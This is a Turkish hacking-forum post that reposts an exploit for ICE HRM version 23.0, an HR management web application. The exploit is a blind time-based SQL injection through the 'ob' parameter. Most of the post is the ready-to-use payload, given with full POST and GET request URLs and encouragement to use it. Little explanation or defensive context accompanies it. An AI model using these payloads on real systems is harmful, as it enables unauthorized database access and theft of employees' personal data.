Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...




ICE HRM 23.0 - Multiple Vulnerabilities

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 16-03-2019 03:58   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Mesajlar
Konular

Teşekkür (Etti): 17
Teşekkür (Aldı): 31


ICE HRM 23.0 - Multiple Vulnerabilities



# Exploit Title/Exploit Başlığı: ICE HRM - ’ob’ SQL Inj.
# Dork: N/A
# Date/Tarih: 14-03-2019
# Exploit Author/Exploit Yazarı: Mehmet EMIROGLU
# Vendor Homepage/Yapımcı Sitesi: IceHrm – A Powerful But Simple App to Manager Your Company and Employees
# Software Link/Yazılım Linki: https://sourceforge.net/projects/icehrm/
# Version/Versiyon: v23.0
# Category/Kategori: Webapps
# Tested on/Test Edilen Sistem: Wamp64, Windows
# CVE: N/A
# Software Description/Yazılım Bilgisi: ICE HRM bir şirket yöneticisinin çalışanları kontrol edebileceği bir içerik yönetim sistemidir.PHP ve Javascript ile yazılmıştır.


# POC - SQLi (blind)
# Parameters : ob
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27 XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c %22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22 *%2f
# POST Method : http://localhost/icehrmv23OS/app/service.php


**Aynı açıktan faydalanarak şunu da kullanabilirsiniz: **

# POC - SQLi (blind)
# Parameters : ob
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27 XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c %22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22 *%2f
# GET Method :
http://localhost/icehrmv23OS/app/dat...ationality%22:[%22Nationality%22,%22id%22,%22name%22],%22ethnicity%22:[%22Ethnicity%22,%22id%22,%22name%22],%22immigration_status%22:[%22ImmigrationStatus%22,%22id%22,%22name%22],%22employment_status%22:[%22EmploymentStatus%22,%22id%22,%22name%22],%22job_title%22:[%22JobTitle%22,%22id%22,%22name%22],%22pay_grade%22:[%22PayGrade%22,%22id%22,%22name%22],%22country%22:[%22Country%22,%22code%22,%22name%22],%22province%22:[%22Province%22,%22id%22,%22name%22],%22department%22:[%22CompanyStructure%22,%22id%22,%22title%22],%22supervisor%22:[%22Employee%22,%22id%22,%22first_name%20last_name% 22]%7D&cl=[%22id%22,%22image%22,%22employee_id%22,%22first_na me%22,%22last_name%22,%22mobile_phone%22,%22depart ment%22,%22gender%22,%22supervisor%22]&ft=%7B%22status%22:%22Active%22%7D&ob=1%20%2b%20( (SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2f*%2 7XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)) )OR%27%7c%22XOR(((SELECT%201%20FROM%20(SELECT%20SL EEP(25))A)))OR%22*%2f



# Exploit Linki : https://www.exploit-db.com/exploits/46548



___________________________________________

"Ulusal egemenlik öyle bir nurdur ki, onun karşısında zincirler erir, taç ve tahtlar yanar, mahvolur."
Mustafa Kemal ATATÜRK

telegram: deargod_tht
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau